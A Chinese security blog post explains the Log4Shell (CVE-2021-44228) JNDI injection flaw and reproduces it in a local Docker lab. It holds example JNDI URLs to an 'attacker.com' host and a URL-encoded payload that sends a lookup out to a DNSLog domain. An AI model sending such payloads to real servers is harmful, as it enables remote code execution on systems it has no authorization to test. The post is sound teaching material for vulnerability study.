首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >[漏洞原理]| log4j2远程代码执行漏洞原理

[漏洞原理]| log4j2远程代码执行漏洞原理

作者头像
熔城Sec
发布2026-09-15 14:08:59
发布2026-09-15 14:08:59
940
举报
图片
图片

免责声明

 该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。公众号现在只对常读和星标的公众号才展示大图推送,建议把公众号设为星标,否则可能就看不到啦!感谢各位师傅。

图片
图片

漏洞描述

Apache Log4j2 远程代码执行漏洞(CVE-2021-44228,俗称 Log4Shell) 是 Java 生态中影响极广的“核弹级”漏洞,CVSS 评分为 10.0(满分)。该漏洞因 Log4j2 日志框架的 JNDI(Java 命名和目录接口)解析缺陷导致,攻击者可通过构造恶意日志内容,实现远程代码执行(RCE),直接获取服务器权限

图片
图片

漏洞触发流程

图片
图片

漏洞描述

Log4j2 漏洞主要是由于其提供的lookup功能下的JndiLookup模块出现问题所导致的。当开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4请求远程主机上的含有恶意代码的资源并执行其中的代码。

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。

图片
图片

Lookup功能

Log4j2的Lookup功能是用于在配置文件中添加值的一种方法,允许你在log4j2.xml中获取项目工程中的变量。通过使用{占位符}语法,你可以在配置文件的任意位置插入变量的值。这个功能使得Log4j2更加灵活,可以根据项目的具体需求进行配置。例如,你可以使用{sys:my.property}来引用系统属性中的“my.property”值。Log4j2将会使用Lookup函数从系统属性中查找该属性的值,并将其替换为实际值。这种机制使得Log4j2可以根据环境变量、系统属性或其他外部配置来动态调整日志行为。

图片
图片

JNDI

JNDI简介

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

常见的JNDI URL格式

代码语言:javascript
复制
rmi://localhost:1099/MyRemoteObject
ldap://attacker.com:1389/evilObject
dns://attacker.com/evilObject
iiop://localhost:900/MyObject

整个JNDI注入的关键点是 javax.naming.Context.lookup() 方法。当JNDI的Provider URL可控时,攻击者可以传入恶意的远程地址,触发以下流程:

图片
图片

漏洞复现

环境搭建

在docker中搭建靶场

拉取镜像

代码语言:javascript
复制
for mirror in dockerproxy.net docker.m.daocloud.io docker.1panel.live hub-mirror.c.163.com docker.mirrors.ustc.edu.cn; do
  echo "==> Trying $mirror"
  docker pull $mirror/vulfocus/log4j2-cve-2021-44228 && {
    docker tag $mirror/vulfocus/log4j2-cve-2021-44228 vulfocus/log4j2-cve-2021-44228
    echo "Success with $mirror"
    break
  }
done

重新打标签

代码语言:javascript
复制
docker tag dockerproxy.net/vulfocus/log4j2-cve-2021-44228 vulfocus/log4j2-cve-2021-44228:latest

验证

代码语言:javascript
复制
docker images | grep log4j2

先查看镜像暴露的端口

代码语言:javascript
复制
docker inspect vulfocus/log4j2-cve-2021-44228:latest | grep -A 10 ExposedPorts

启动容器

代码语言:javascript
复制
docker run -d --name log4j2-test -p 8080:8080 vulfocus/log4j2-cve-2021-44228:latest

查看容器日志,确认启动状态

代码语言:javascript
复制
docker logs -f log4j2-test

访问漏洞环境

代码语言:javascript
复制
http://localhost:8080

利用yakit平台获取一个域名,将数据外带出来

构造payload

代码语言:javascript
复制
${jndi://ldap://xvbugdbbsd.iyhc.eu.org}

对URL进行编码处理

进行payload构造

代码语言:javascript
复制
localhost:8080/hello?payload=%24%7Bjndi%3A%2F%2Fldap%3A%2F%2Fxvbugdbbsd.iyhc.eu.org%7D
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-08-26,如有侵权请联系 cloudcommunity@tencent.com 删除
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档